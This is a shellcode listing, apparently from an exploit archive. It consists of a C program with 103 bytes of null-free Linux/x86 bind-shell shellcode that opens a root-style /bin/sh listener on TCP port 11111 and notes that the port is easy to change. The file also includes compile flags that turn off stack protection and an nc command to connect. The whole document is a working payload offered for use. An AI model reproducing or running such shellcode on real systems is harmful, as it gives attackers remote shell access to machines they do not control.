Linux/x86 - Bind (1111/TCP) Shell + SO_REUSEADDR Set (Avoiding SIGSEGV) + Null-Free Shellcode (103 bytes)

/*

 Shell Bind TCP Shellcode - C Language
 Linux/x86

 Written in 2013 by Geyslan G. Bem, Hacking bits

 http://hackingbits.com
 geyslan@gmail.com

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 shell_bind_tcp_shellcode

 * 103 bytes
 * null-bytes free
 * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT)
 * the port number is easily changeable (3th and 4th bytes of the shellcode)


 # gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
 # ./shellcode

 Testing
 # nc 127.0.0.1 11111

*/

#include <stdio.h>
#include <string.h>

unsigned char code[] = \

"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"
"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"
"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\xeb\xa8";


main ()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}